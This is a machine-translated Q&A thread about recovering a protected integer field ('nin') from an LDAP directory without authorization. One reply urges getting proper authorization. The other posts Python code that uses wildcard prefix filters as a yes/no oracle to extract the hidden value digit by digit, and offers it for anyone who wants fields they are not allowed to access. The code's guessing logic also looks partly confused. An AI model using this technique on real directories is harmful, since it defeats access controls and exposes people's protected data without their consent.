从python中对ldap中不可访问的数据字段进行二进制搜索

时间:2010-06-03 17:00:22

标签: python ldap

我对复制特定的python脚本感兴趣。

我有一位朋友在没有身份验证的情况下访问了ldap数据库。有一个特别感兴趣的领域,我们将其称为nin(整数)以供参考,如果没有适当的身份验证,则无法访问此字段。但是,我的朋友设法通过某种二进制搜索(而不是仅仅循环整数)来访问该字段;他会检查第一个数字,检查它是否大于或小于起始值,他会增加它,直到它返回一个表示存在的真值,添加数字并继续检查,直到他找到整数nin的确切值。

关于他如何解决这个问题的任何想法?我可以访问类似的设置数据库。

2 个答案:

答案 0 :(得分:0)

您最好的选择是获得访问该字段的授权。否则,你正在规避数据库的安全性。

答案 1 :(得分:0)

想出来。我只需要过滤(&(cn =我的名字)(nin = guess *),我设法过滤,直到它返回正确的结果。

代码如果其他人需要找到他们不应该访问的字段,但可以检查结果并知道其名称。

def lookup(self, username="", guess=0,verbose=0):
        guin = guess
        result_set = []
        varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
        result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
        while True:
            try:
                result_type, result_data = self.l.result(result_id, 0, 5.0)
                if (result_data == []):
                    break
                else:
                    if result_type == ldap.RES_SEARCH_ENTRY:
                        result_set.append(result_data)
            except ldap.TIMEOUT:
                return {"name": username}
        if len(result_set) == 0:
            return self.lookup(username, guin + 1,verbose)
        else:
            if guess < 1000000:
                return self.lookup(username, guess * 10,verbose)
            else:
                if verbose==1:
                    print "Bingo!",
                return str(guess)